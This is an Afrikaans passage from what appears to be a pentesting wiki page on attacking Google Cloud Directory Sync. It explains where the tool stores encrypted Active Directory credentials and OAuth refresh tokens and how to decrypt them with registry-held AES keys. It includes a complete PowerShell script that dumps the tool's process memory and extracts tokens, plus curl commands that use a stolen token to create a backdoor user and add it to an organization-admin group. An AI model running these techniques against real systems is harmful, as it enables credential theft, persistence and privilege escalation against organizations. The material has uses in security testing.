Dit is 'n hulpmiddel wat gebruik kan word om jou aktiewe gids gebruikers en groepe na jou Workspace te sinkroniseer (en nie andersom nie teen die tyd van hierdie skrywe).
Dit is interessant omdat dit 'n hulpmiddel is wat die bewyse van 'n Workspace superuser en bevoorregte AD gebruiker sal vereis. So, dit mag moontlik wees om dit binne 'n domein bediener te vind wat gebruikers van tyd tot tyd sal sinkroniseer.
Om 'n MitM op die config-manager.exe binêre uit te voer, voeg net die volgende lyn in die config.manager.vmoptions lêer by: -Dcom.sun.net.ssl.checkRevocation=false
Let daarop dat Winpeas in staat is om GCDS te detecteer, inligting oor die konfigurasie te verkry en selfs die wagwoorde en versleutelde bewese.
Let ook daarop dat GCDS nie wagwoorde van AD na Workspace sal sinkroniseer nie. As iets, sal dit net ewekansige wagwoorde genereer vir nuut geskepte gebruikers in Workspace soos jy in die volgende beeld kan sien:
GCDS - Skyf Tokens & AD Bewyse
Die binêre config-manager.exe (die hoof GCDS binêre met GUI) sal die geconfigureerde Aktiewe Gids bewese, die verfrissingsteken en die toegang standaard in 'n xml lêer in die gids C:\Program Files\Google Cloud Directory Sync in 'n lêer genaamd Untitled-1.xml stoor. Alhoewel dit ook in die Documents van die gebruiker of in enige ander gids gestoor kan word.
Boonop bevat die register HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui binne die sleutel open.recent die paaie na al die onlangs geopende konfigurasielêers (xmls). So dit is moontlik om dit na te gaan om hulle te vind.
Die mees interessante inligting binne die lêer sal wees:
Let op hoe die refreshtoken en die password van die gebruiker geënkripteer is met AES CBC met 'n ewekansig gegenereerde sleutel en IV wat gestoor is in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (waar die prefs Java biblioteek die voorkeure stoor) in die string sleutels /Encryption/Policy/V2.iv en /Encryption/Policy/V2.key wat in base64 gestoor is.
Powershell script om die refresh token en die password te dekripteer
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Let daarop dat dit moontlik is om hierdie inligting te kontroleer deur die java kode van **`DirSync.jar`** in **`C:\Program Files\Google Cloud Directory Sync`** te soek na die string `exportkeys` (aangesien dit die cli param is wat die binêre `upgrade-config.exe` verwag om die sleutels te dump).
</div>
In plaas daarvan om die powershell skrip te gebruik, is dit ook moontlik om die binêre **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** met die param `-exportKeys` te gebruik en die **Key** en **IV** uit die register in hex te kry en dan net 'n bietjie cyberchef met AES/CBC en daardie sleutel en IV te gebruik om die inligting te ontsleutel.
### GCDS - Dumping tokens from memory
Net soos met GCPW, is dit moontlik om die geheue van die proses van die `config-manager.exe` proses (dit is die naam van die GCDS hoof binêre met GUI) te dump en jy sal in staat wees om verfris- en toegangstokens te vind (as hulle reeds gegenereer is).\
Ek raai jy kan ook die AD geconfigureerde akrediteerbare inligting vind.
<details>
<summary>Dump config-manager.exe processes and search tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Genereer toegangstokens vanaf hernuwingstokens
Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
Let daarop dat selfs al het jy 'n hernuwingsteken, dit nie moontlik is om enige omvang vir die toegangsteken aan te vra nie, aangesien jy slegs die omvangs wat deur die toepassing ondersteun word waar jy die toegangsteken genereer kan aan vra.
Ook is die hernuwingsteken nie geldig in elke toepassing nie.
Standaard sal GCSD nie toegang hê as die gebruiker tot elke moontlike OAuth-omvang nie, so deur die volgende skrip te gebruik, kan ons die omvangs vind wat met die refresh_token gebruik kan word om 'n access_token te genereer:
#### Skep 'n gebruiker en voeg dit by die groep `gcp-organization-admins` om te probeer om in GCP te eskaleer
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Dit is nie moontlik om die nuwe gebruiker die Super Amin rol te gee nie omdat die herlaai token nie genoeg omfange het om die vereiste voorregte te gee.